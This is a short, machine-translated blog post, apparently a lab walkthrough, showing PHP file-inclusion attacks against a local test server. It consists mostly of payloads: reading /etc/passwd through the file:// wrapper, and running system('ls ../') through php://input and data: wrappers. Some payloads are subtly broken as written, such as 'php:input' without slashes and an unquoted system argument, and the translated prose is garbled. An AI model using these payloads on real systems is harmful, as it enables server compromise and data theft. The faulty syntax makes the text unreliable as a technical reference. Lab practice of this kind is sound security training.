当前位置:网站首页>Document contains question type

Document contains question type

2022-06-13 08:17:00 BT youth

You can see that there is file Keywords can be used for php Fake protocol :

Use file Pseudo protocol view /etc/passwd

?file=file:///etc/passwd

http://192.168.129.128:83/vulnerabilities/fu1.php?file=file:///etc/passwd


Use php://input Pseudo protocol to view ls /

?file=php:input


(Post Data)
<?php phpinfo()?>

http://192.168.129.128:83/vulnerabilities/fu1.php?file=php://input

<?php system('ls ../');?>


Use data Fake protocol :

?file=data:,<?php phpinfo()?>

?file=data:,<?php system(ls ../)?>

http://192.168.129.128:83/vulnerabilities/fu1.php?file=data:,<?php phpinfo()?>

原网站

版权声明
本文为[BT youth]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202270544578426.html